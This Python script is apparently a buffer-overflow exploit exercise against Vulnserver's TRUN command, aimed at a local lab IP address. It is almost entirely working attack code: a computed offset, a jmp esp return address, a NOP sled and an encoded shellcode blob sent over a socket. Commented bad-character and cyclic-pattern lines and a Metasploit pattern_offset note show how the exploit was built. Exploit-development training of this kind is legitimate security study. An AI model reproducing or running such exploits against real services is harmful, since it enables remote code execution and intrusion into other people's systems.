bof-exercise.py

#!/usr/bin/env python3

#https://github.com/stephenbradshaw/vulnserver
import socket
import struct

s=socket.socket()
s.connect(("192.168.1.104",9999))
#2984

total_length=2984
offset = 2003
#eip=0x62501203   #!mona jmp -r esp
eip=struct.pack("<I",0x62501203) #jmp esp
#badchars=b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

nop=b"\x90"*20
buf =  b""
buf += b"\xdb\xde\xba\xa9\xfb\x7b\x1a\xd9\x74\x24\xf4\x5d\x31"
buf += b"\xc9\xb1\x59\x83\xed\xfc\x31\x55\x15\x03\x55\x15\x4b"
buf += b"\x0e\x87\xf2\x04\xf1\x78\x03\x7a\xc3\xaa\x8a\x9f\x47"
buf += b"\xc0\xdf\x6f\x03\x84\xd3\x04\x41\x3d\xdd\xe5\xed\x4f"
buf += b"\x35\x16\x45\xe5\x63\x19\x69\x56\x57\x38\x15\xa5\x84"
buf += b"\x9a\x24\x66\xd9\xdb\x61\x30\x97\x34\x3f\x94\xdc\x98"
buf += b"\xd0\x91\xa1\x20\xd0\x75\xae\x18\xaa\xf0\x71\xec\x06"
buf += b"\xfa\xa1\x87\xcf\xdc\x11\x96\x3c\x97\xda\x80\x47\x61"
buf += b"\xae\x8c\x0e\xf9\x7b\x67\x91\x2b\xb2\x88\xa3\x13\x74"
buf += b"\xb9\xc9\x3f\x76\x82\xea\xdf\x0c\xf8\x08\x5d\x17\x3b"
buf += b"\x72\xb9\x92\xdb\xd4\x4a\x04\x3f\xe4\x9f\xd3\xb4\xea"
buf += b"\x54\x97\x92\xee\x6b\x74\xa9\x0b\xe7\x7b\x7d\x9a\xb3"
buf += b"\x5f\x59\xc6\x60\xc1\xf8\xa2\xc7\xfe\x1a\x0a\xb7\x5a"
buf += b"\x51\xb9\xae\xdb\x9a\x41\xcf\x81\x0c\x8d\x02\x3a\xcc"
buf += b"\x99\x15\x49\xfe\x06\x8e\xc5\xb2\xcf\x08\x11\xc3\xd8"
buf += b"\xaa\xcd\x6b\x88\x54\xee\x8b\x80\x92\xba\xdb\xba\x33"
buf += b"\xc3\xb0\x3a\xbb\x16\x2c\x31\x2b\x59\x18\x44\xcc\x31"
buf += b"\x5a\x47\x07\x71\xd3\xa1\x77\x25\xb3\x7d\x38\x95\x73"
buf += b"\x2e\xd0\xff\x7c\x11\xc0\xff\x57\x3a\x6b\x10\x01\x12"
buf += b"\x04\x89\x08\xe8\xb5\x56\x87\x94\xf6\xdd\x2d\x68\xb8"
buf += b"\x15\x44\x7a\xad\x41\xa6\x82\x2e\xe4\xa6\xe8\x2a\xae"
buf += b"\xf1\x84\x30\x97\x35\x0b\xca\xf2\x46\x4c\x34\x83\x7e"
buf += b"\x26\x03\x11\x3e\x50\x6c\xf5\xbe\xa0\x3a\x9f\xbe\xc8"
buf += b"\x9a\xfb\xed\xed\xe4\xd1\x82\xbd\x70\xda\xf2\x12\xd2"
buf += b"\xb2\xf8\x4d\x14\x1d\x03\xb8\x26\x5a\xfb\x3e\x01\xc3"
buf += b"\x93\xc0\x11\xf3\x63\xab\x91\xa3\x0b\x20\xbd\x4c\xfb"
buf += b"\xc9\x14\x05\x93\x40\xf9\xe7\x02\x54\xd0\xa6\x9a\x55"
buf += b"\xd7\x72\x2d\x2f\x98\x85\xce\xd0\xb0\xe1\xcf\xd0\xbc"
buf += b"\x17\xec\x06\x85\x6d\x33\x9b\xb2\x7e\x06\xbe\x93\x14"
buf += b"\x68\xec\xe4\x3c"


payload = [

	b"TRUN /.:/",
	#b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv"
	b"A"*offset,
	eip,
	nop,
	buf,
	b"C"*(total_length-offset-len(eip)-len(nop)-len(buf))
]
payload=b"".join(payload)
s.send(payload)
s.close()



"""
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2984 -q 386F4337
[*] Exact match at offset 2003

"""